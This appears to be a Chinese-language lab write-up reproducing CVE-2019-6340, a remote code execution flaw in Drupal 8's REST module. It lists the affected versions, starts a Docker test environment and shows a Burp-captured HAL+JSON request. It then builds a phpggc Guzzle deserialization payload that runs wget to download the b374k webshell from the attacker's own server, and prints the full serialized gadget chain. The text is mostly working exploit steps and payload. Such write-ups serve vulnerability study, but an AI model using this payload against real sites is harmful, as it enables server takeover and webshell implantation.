CVE-2019-6340

影响范围

Drupal 8.6.x < 8.6.10
Drupal 8.5.x < 8.5.11

影响条件

站点启用了Drupal 8核心RESTful Web 服务(rest)模块，并允许PATCH或POST请求
站点启用了另一个Web服务模块，如Drupal 8中的JSON:API，或Drupal 7中的Services或RESTful Web Services

复现过程

Docker 拉下载环境

docker pull knqyf263/cve-2019-6340
docker run -d -p 80:80 knqyf263/cve-2019-6340

浏览器访问

http://TARGET_IP/

Burp抓包

GET /node/1?_format=hal_json HTTP/1.1
Host: TARGET_IP
Content-Type: application/hal+json
Content-Length: 672
{
  "link": [
    {
      "value": "link",
      "options": 
    }
  ],
  "_links": {
    "type": {
      "href": "http://TARGET_IP/rest/type/shortcut/default"
    }
  }
}

构造exploit

git clone https://github.com/ambionics/phpggc.git

构造下载大马的exp

1	./phpggc guzzle/rce1 system "wget http://yourvpsip/b374k.php" -j

"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:36:\"wget http:\/\/yourvpsip\/b374k.php\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"